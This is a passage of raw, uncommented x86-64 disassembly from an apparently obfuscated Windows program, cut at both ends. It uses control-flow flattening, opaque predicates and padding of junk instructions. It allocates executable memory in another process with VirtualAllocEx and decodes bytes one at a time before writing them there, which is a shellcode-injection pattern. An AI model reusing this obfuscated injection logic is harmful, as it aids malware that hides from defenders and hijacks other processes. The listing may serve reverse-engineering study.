cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xb7568339
je 0x14000db2c
cmp eax, 0xb7e4c21f
je 0x14000db36
cmp eax, 0xb813e1fd
jne 0x140001070
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
mov r8d, 0x381
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov eax, 0x4d61c613
jmp 0x140001070
cmp eax, 0x30fc2ced
je 0x14000db61
cmp eax, 0x312c2c55
je 0x14000db6b
cmp eax, 0x319e44c1
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov eax, edx
xor al, r8b
or cl, r8b
mov ebx, eax
xor bl, 1
and bl, cl
or dl, r8b
xor dl, bl
xor dl, al
mov eax, 0x30fc2ced
mov ecx, 0x200fe48
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xf35f6dc0
je 0x14000dbbb
cmp eax, 0xf3a9d63e
je 0x14000dbe6
cmp eax, 0xf404a2b4
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe1465295
mov ecx, 0xbc491cce
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x479870b3
je 0x14000dc75
cmp eax, 0x47c8e076
je 0x14000dc7f
cmp eax, 0x4825f775
jne 0x140001070
mov eax, 0x37193d42
jmp 0x140001070
cmp eax, 0x8ea2dfa4
je 0x14000dcaa
cmp eax, 0x8eb03a1d
je 0x14000dcd5
cmp eax, 0x8eb896a9
jne 0x140001070
mov eax, 0x6132ade7
jmp 0x140001070
cmp eax, 0xc4cbb90
je 0x14000dd00
cmp eax, 0xc9e9e68
je 0x14000dd44
cmp eax, 0xcdd3aa1
jne 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0x3ae9bfc
mov esi, 0x100b128d
cmove eax, esi
sete bl
cmp edi, 0xa
mov ecx, 0x3ae9bfc
cmovge eax, ecx
setl cl
xor cl, bl
cmovne eax, esi
test dl, 1
mov ecx, eax
cmove ecx, esi
cmp edi, 0xa
cmovl ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0xd033ae18
je 0x14000ddb3
cmp eax, 0xd04ac10f
je 0x14000dde6
cmp eax, 0xd04b5e1f
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
or bl, cl
xor cl, dl
mov eax, edx
or al, r8b
and al, bl
xor dl, r8b
xor dl, 1
and dl, al
mov eax, ecx
xor al, dl
or dl, cl
xor al, dl
test dl, dl
mov ecx, 0xe4f44fe5
mov edx, 0xda4f7b79
cmovne ecx, edx
test al, al
mov eax, 0xe4f44fe5
cmovne ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x6b27a02a
je 0x14000de11
cmp eax, 0x6b5054ed
je 0x14000de3c
cmp eax, 0x6b5c17d4
jne 0x140001070
cmp dword [rbp - 0x54], 2
setl byte [rbp - 0x13]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1f28256f
mov ecx, 0x26be2715
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xae26525a
je 0x14000dea9
cmp eax, 0xae39641a
je 0x14000df0a
cmp eax, 0xaea39648
jne 0x140001070
mov eax, 0x29773cc8
jmp 0x140001070
cmp eax, 0x2962bc56
je 0x14000df35
cmp eax, 0x29773cc8
je 0x14000df70
cmp eax, 0x2a782b8c
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x77908989
mov ecx, 0xcc92411e
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xed7da361
je 0x14000dfa0
cmp eax, 0xed8d7d61
je 0x14000dfaa
cmp eax, 0xed8fe04c
jne 0x140001070
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov r14d, dword [rbp + 0x1c]
mov r11d, r14d
xor r11d, 0x20148282
mov r10d, r14d
not r10d
and r11d, r10d
and r11d, 0xa41dda92
mov r9d, r14d
mov ecx, r14d
mov r8d, r14d
mov edx, r14d
xor edx, 0x30
and edx, r10d
mov edi, r14d
or edi, 0xffffffc7
and edx, 0x38
mov ebx, edi
and ebx, 0x2002508
or ebx, 0xa0e60050
mov esi, r14d
and esi, 0x5e10b702
or esi, 0x808400a5
xor esi, edx
mov eax, r14d
and eax, 0xa1ef48c5
xor eax, ebx
mov ebx, r14d
xor eax, esi
mov edx, r14d
and edx, 0x28
and edi, 0x5a53df95
or edi, edx
mov esi, r14d
and esi, 0xffffffc7
xor esi, edi
xor esi, 0x5a53dfbd
mov r15d, r14d
xor r15d, 0xffffffc7
or r15d, esi
mov esi, eax
xor esi, 0xdd9dda02
or esi, r15d
xor r15d, eax
xor r15d, 0x226225fd
and r15d, esi
and r10d, r15d
xor r15d, r14d
and r14d, 0x5040052d
or r14d, 0x20922200
and r9d, 0xba22040
xor r9d, r14d
and ecx, 0x84095810
or ecx, 0x5000010d
xor ecx, r11d
or ecx, 0x400420
xor ecx, r9d
xor r8d, 0x5be2256d
xor ebx, 0xa41dda92
or ebx, r8d
mov eax, ecx
xor eax, 0xb2480c2
xor ecx, ebx
xor ecx, 0xb2480c2
or eax, ebx
not eax
or eax, ecx
mov ecx, eax
and ecx, 0xa801d909
or ecx, 0x157400c6
and eax, 0x57fe26f6
xor eax, ecx
mov ebx, eax
mov ecx, eax
mov r8d, eax
mov esi, eax
xor esi, 0x4e962593
mov edi, eax
or edi, 0x38
xor edi, 0xb169da7c
or edi, esi
mov r9d, eax
xor r9d, 0xb169da6c
or r9d, edi
xor edi, eax
and eax, 0x570f41e
mov esi, eax
xor esi, 0x410240a
xor ebx, 0x4be6d1b5
or ebx, esi
mov esi, eax
xor esi, 0xfbefdbf5
xor eax, 0xfb4c636
and eax, esi
and ecx, 0x4501402
xor ecx, 0x4100402
or ecx, eax
xor ecx, ebx
and r8d, 0x170e404
mov eax, esi
and eax, 0x548b11da
or eax, r8d
xor eax, ebx
xor eax, 0xab64ca25
and esi, ebx
or esi, eax
mov ebx, ecx
xor ebx, 0xba4e23c
xor ecx, esi
xor ecx, 0xba4e23c
or ebx, esi
not ebx
or ebx, ecx
mov esi, ebx
xor esi, 0xfa8f0bd9
xor edi, 0x4e962593
and edi, r9d
mov eax, ebx
xor eax, 0x570f426
xor ebx, 0xb4470b0d
mov r8d, eax
or r8d, esi
and r8d, ebx
xor r8d, edi
mov ebx, esi
and ebx, 0x7d173f7f
and eax, 0x82e8c080
or eax, ebx
or esi, edi
xor eax, edi
xor eax, 0x7d173f7f
and eax, esi
mov ecx, r8d
xor ecx, eax
xor ecx, 0x4ec800d4
xor r8d, 0x4ec800d4
and r8d, eax
or r8d, ecx
mov r9d, r8d
not r9d
xor r15d, r10d
mov eax, r9d
and eax, 0x42805436
mov ecx, r8d
and ecx, 0x110808c8
add eax, ecx
add eax, 0x2c452301
mov ecx, r8d
or ecx, 0x53885cfe
xor ecx, eax
xor ecx, 0xf17f250e
or ecx, r9d
mov edx, r15d
or edx, 0x33cdf138
mov edi, r9d
and edi, 0x33cdf138
xor edi, ecx
mov eax, edx
and eax, 0x57fecb64
and edx, 0xa801349b
or edx, 0x47fe4344
xor edx, eax
mov ecx, edx
xor ecx, 0xeffe67cf
mov eax, r15d
and eax, 0x200d0038
or eax, 0xd0526400
mov esi, edx
and esi, 0x110d3
xor edx, 0xdcb68704
and edx, ecx
or edx, esi
mov ecx, eax
xor ecx, 0x15e551b7
xor eax, 0xea1aae48
and eax, edx
not edx
and edx, ecx
or eax, edx
mov r10d, edi
and r10d, 0x5ad6e840
mov edx, edi
or edx, 0x5ad6e840
mov esi, edx
and esi, 0xfd01c708
mov ecx, edi
and ecx, 0x2402840
mov ebx, edi
and ebx, 0x2810b7
or ebx, esi
or ebx, ecx
xor ebx, 0xfd29d7bf
mov ecx, edi
and ecx, 0x4091023
and edx, 0xe9f4efdc
or edx, ecx
xor edx, r10d
xor edx, 0xedfdffff
xor edi, 0x5ad6e840
or edi, edx
not edi
or edi, ebx
mov ecx, eax
and ecx, 0x5ad6e840
or ecx, 0xa1090019
and eax, 0xa52917bf
xor eax, ecx
mov ecx, eax
xor ecx, 0x42017a6
xor eax, 0xbdc9f5a6
and eax, ecx
xor eax, edi
mov ebx, eax
xor ebx, 0xffdffdff
or r9d, r15d
mov ecx, r8d
xor ecx, 0xe38cc476
mov edx, r15d
xor edx, 0x1c733b89
xor r8d, 0x1c733b89
and r8d, edx
xor r15d, 0xe38cc476
and r15d, ecx
or r15d, r8d
mov ecx, r9d
not ecx
and ecx, r15d
xor r15d, r9d
xor r15d, ecx
mov ecx, r15d
not ecx
mov edx, eax
xor edx, 0x200200
and edx, ecx
mov ecx, ebx
and ecx, r15d
or ecx, edx
and ecx, ebx
mov edx, eax
xor edx, 0x3f667ec9
mov ebx, r15d
and ebx, 0xc0b98336
or ebx, 0x3a067449
and r15d, 0x3f467cc9
xor r15d, ebx
mov ebx, r15d
xor ebx, 0xfabff77f
xor eax, 0xc0998136
and eax, ebx
xor r15d, 0x5400880
and r15d, edx
or r15d, eax
mov eax, r15d
and eax, 0x72b7ddd8
or eax, 0x1482004
mov edx, r15d
and edx, 0x8d482227
xor edx, ecx
xor edx, eax
and r15d, ecx
mov eax, edx
xor eax, r15d
xor eax, 4
xor edx, 4
and edx, r15d
or edx, eax
mov rax, qword [rbp - 0x10]
mov byte [rax], dl
mov rax, qword [rbp]
movsxd rdx, dword [rbp + 0x18]
add rdx, rax
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9d, 1
call r13
add rsp, 0x30
mov eax, 0x50a2eaf0
jmp 0x140001070
cmp eax, 0x598193dc
je 0x14000e027
cmp eax, 0x5a2527ec
je 0x14000e057
cmp eax, 0x5a878acb
jne 0x140001070
mov dword [rbp - 0x48], 0
mov eax, 0x3e02598d
jmp 0x140001070
cmp eax, 0x9e9408b6
je 0x14000e082
cmp eax, 0x9e95c290
je 0x14000e08c
cmp eax, 0x9ecb092a
jne 0x140001070
mov eax, 0x80a3d343
jmp 0x140001070
cmp eax, 0x1c4150c9
je 0x14000e096
cmp eax, 0x1c9a3587
je 0x14000e0c6
cmp eax, 0x1ca2a82f
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfe3dc3dc
mov ecx, 0x34f57192
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xdd6fbb75
je 0x14000e0f6
cmp eax, 0xdde643ce
je 0x14000e16a
cmp eax, 0xde718615
jne 0x140001070
mov ecx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp edi, 0xa
setl bl
mov r9d, ebx
and r9b, r8b
mov ecx, edx
and cl, bl
xor bl, r8b
mov eax, ebx
xor al, 1
movzx ecx, cl
movzx eax, al
test r9b, r9b
cmovne eax, ecx
xor al, r9b
mov eax, 0xc43e4d9
mov ecx, 0xd439839a
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
test edx, edx
mov ecx, 0xc43e4d9
cmove eax, ecx
cmp edi, 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x7c3dfbd0
je 0x14000e1af
cmp eax, 0x7ccc0a92
je 0x14000e222
cmp eax, 0x7cdf3150
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge cl
setl bl
mov edx, ebx
xor dl, al
or cl, al
xor dl, 1
and dl, cl
and bl, al
mov eax, edx
xor al, 1
and al, bl
xor bl, dl
xor bl, al
mov eax, 0xde718615
mov ecx, 0xd439839a
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xbea58b0f
je 0x14000e22c
cmp eax, 0xbece51e9
je 0x14000e257
cmp eax, 0xbedd53a3
jne 0x140001070
mov eax, 0x30127e0b
jmp 0x140001070
cmp eax, 0x389a0fdc
je 0x14000e261
cmp eax, 0x38c3b3fc
je 0x14000e26b
cmp eax, 0x38c73465
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb461c045
mov ecx, 0x9ef1b9c9
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xb461c045
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xfb5049e0
je 0x14000e275
cmp eax, 0xfb554e40
je 0x14000e2ba
cmp eax, 0xfbbdbcf1
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4b9c3945
mov ecx, 0xc085712d
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x41b6db29
je 0x14000e2e5
cmp eax, 0x423e8b7f
je 0x14000e2ef
cmp eax, 0x4252c20b
jne 0x140001070
mov eax, 0x7b82fe63
jmp 0x140001070
cmp eax, 0x80cd34e6
je 0x14000e2f9
cmp eax, 0x815184bb
je 0x14000e324
cmp eax, 0x81959faf
jne 0x140001070
mov eax, 0x5aa95704
jmp 0x140001070
cmp eax, 0x200fe48
je 0x14000e34f
cmp eax, 0x252b186
je 0x14000e359
cmp eax, 0x2742e94
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x44197382
mov ecx, 0x4ae6bc42
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xc3a7c1df
je 0x14000e384
cmp eax, 0xc410b316
je 0x14000e3b3
cmp eax, 0xc5620bbd
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9c14d30f
mov ecx, 0x19cfe9b8
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x60d9f304
je 0x14000e3f1
cmp eax, 0x6132ade7
je 0x14000e451
cmp eax, 0x6173e1ed
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
and cl, bl
mov r9d, ebx
xor r9b, r8b
or bl, r8b
or dl, r8b
and dl, r9b
xor dl, cl
mov ecx, r9d
xor cl, 1
or cl, dl
mov edx, r9d
xor dl, cl
mov eax, ebx
or al, dl
and dl, cl
xor dl, bl
xor dl, al
test dl, 1
mov ecx, 0xbf51d595
mov edi, 0x5550da33
cmovne ecx, edi
test bl, bl
mov edx, ecx
mov ebx, 0xbf51d595
cmovne edx, ebx
test al, 1
cmovne edx, ecx
test r9b, r9b
cmovne edx, edi
mov eax, edx
jmp 0x140001070
cmp eax, 0xa26ccaa5
je 0x14000e47c
cmp eax, 0xa2863aa0
je 0x14000e4ee
cmp eax, 0xa2cfe81a
jne 0x140001070
mov eax, 0x732377fc
jmp 0x140001070
cmp eax, 0x220206ec
je 0x14000e564
cmp eax, 0x222e75b0
je 0x14000e58f
cmp eax, 0x22386fde
jne 0x140001070
mov eax, 0xb02770e
jmp 0x140001070
cmp eax, 0xe4f44fe5
je 0x14000e5ba
cmp eax, 0xe52e5a87
je 0x14000e5c4
cmp eax, 0xe552d129
jne 0x140001070
mov eax, dword [rbp + 0x14]
mov eax, 0x40d432d
jmp 0x140001070
cmp eax, 0x4e25c122
je 0x14000e5f4
cmp eax, 0x4e54855d
je 0x14000e62f
cmp eax, 0x4e7abe1a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, r8b
or dl, r8b
mov eax, ebx
xor al, 1
or cl, r8b
and cl, dl
and cl, al
mov eax, ebx
xor al, cl
test cl, cl
mov ecx, 0x5b17fb56
mov edx, 0x69a7964b
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x140001070
cmp eax, 0x938f561d
je 0x14000e63c
cmp eax, 0x93a778b6
je 0x14000e66c
cmp eax, 0x93e9fbc1
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x26e45d75
mov ecx, 0xbac4e1a9
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x1196b48a
je 0x14000e697
cmp eax, 0x11e0a0e2
je 0x14000e6c7
cmp eax, 0x11ff3498
jne 0x140001070
sub rsp, 0x20
lea rcx, str.___Enable_to_retrieve_process_handle_..._n
call fcn.140011390
add rsp, 0x20
mov eax, 0xdbdf9a9
jmp 0x140001070
cmp eax, 0xd439839a
je 0x14000e6d1
cmp eax, 0xd440bb5f
je 0x14000e6db
cmp eax, 0xd529b6ce
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xecd3b4d0
mov ecx, 0xf435a0af
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x6f9225d4
je 0x14000e6e5
cmp eax, 0x6fc12ab4
je 0x14000e710
cmp eax, 0x7064fd52
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
xor dl, 1
mov ebx, ecx
and bl, al
or cl, al
mov eax, ecx
xor al, dl
or al, bl
or bl, dl
and cl, bl
xor bl, cl
mov r8d, ebx
xor r8b, 1
xor cl, 1
and cl, dl
or cl, r8b
xor cl, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xf81ef6a4
mov ebx, 0x423e8b7f
cmovne edx, ebx
test al, al
mov eax, 0xf81ef6a4
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x140001070
cmp eax, 0xb461c045
je 0x14000e73b
cmp eax, 0xb4ecf387
je 0x14000e766
cmp eax, 0xb5599d70
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90e8e444
mov ecx, 0x419de295
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x2f7c89ae
je 0x14000e791
cmp eax, 0x2fa24a57
je 0x14000e7f4
cmp eax, 0x2fb08304
jne 0x140001070
mov rax, qword [rbp + 8]
mov eax, 0xa04c0316
jmp 0x140001070
cmp eax, 0xf20d9170
je 0x14000e81f
cmp eax, 0xf2280152
je 0x14000e841
cmp eax, 0xf25ad0b7
jne 0x140001070
mov eax, 0xa2688251
jmp 0x140001070
cmp eax, 0x4579fa82
je 0x14000e84b
cmp eax, 0x457a346c
je 0x14000e855
cmp eax, 0x45aa6187
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9cfc07f7
mov ecx, 0x4d62f18
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x9cfc07f7
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x8cc26b0e
je 0x14000e85f
cmp eax, 0x8cd909db
je 0x14000e8a6
cmp eax, 0x8ce8fe7d
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x51d3fee1
mov ecx, 0xfc8a617f
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x9e853b5
je 0x14000e8b0
cmp eax, 0xb02770e
je 0x14000e8e0
cmp eax, 0xb0c0173
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1b88589a
mov ecx, 0x53577bbe
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xcdf0605a
je 0x14000e90b
cmp eax, 0xcdf2736e
je 0x14000e936
cmp eax, 0xce0c198b
jne 0x140001070
mov eax, 0xdc6a49bf
jmp 0x140001070
cmp eax, 0x68e83933
je 0x14000e961
cmp eax, 0x696c4663
je 0x14000e96b
cmp eax, 0x69a7964b
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5b17fb56
mov ecx, 0x3403c193
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xac88f452
je 0x14000e99b
cmp eax, 0xad024ef7
je 0x14000e9a5
cmp eax, 0xad5fa68e
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov r9d, ebx
and r9b, r8b
mov eax, ebx
xor al, r8b
or bl, cl
and bl, al
and dl, r8b
xor dl, r9b
xor dl, bl
mov eax, 0xb8c821b4
mov ecx, 0xeab59904
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x2839927c
je 0x14000e9d0
cmp eax, 0x28ba1986
je 0x14000e9da
cmp eax, 0x28f645d1
jne 0x140001070
mov eax, 0x386c07b
jmp 0x140001070
cmp eax, 0xecc0fc01
je 0x14000ea1c
cmp eax, 0xecd3b4d0
je 0x14000ea4c
cmp eax, 0xed274789
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4aec2ca1
mov ecx, 0x17b8416e
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x578825e1
je 0x14000eac0
cmp eax, 0x57a8a8ad
je 0x14000eb12
cmp eax, 0x57f5363e
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov r8d, edx
